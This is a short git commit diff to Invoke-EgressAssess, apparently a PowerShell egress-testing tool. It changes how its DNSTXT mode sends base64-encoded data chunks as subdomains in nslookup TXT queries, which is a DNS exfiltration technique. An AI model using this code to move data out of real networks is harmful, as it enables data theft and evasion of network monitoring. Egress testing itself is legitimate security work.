Minor fix for DNSTXT

metadata
rvrsh3ll 2015-12-06 20:34:17 -05:00
parent 8524c3717e
commit ce2be66dc2
1 changed files with 1 additions and 1 deletions

View File

@ -1629,7 +1629,7 @@ function Invoke-EgressAssess
$DataToSend = $DNSData.Substring($ByteReader, $DefaultLength)
$DataBytes = [System.Text.Encoding]::UTF8.GetBytes($DataToSend)
$EncodedData = [System.Convert]::ToBase64String($DataBytes)
Invoke-Expression "nslookup.exe -type=txt -norecurse -retry=1 -timeout=1 $EncodedData.$IP $IP 2>&1" | Out-Null
Invoke-Expression "nslookup.exe -type=txt -norecurse -retry=1 -timeout=1 $EncodedData.$IP 2>&1" | Out-Null
Write-Verbose "[*] Sending data .... $PacketNumber/$TotalPackets"
$PacketNumber += 1
$ByteReader += $DefaultLength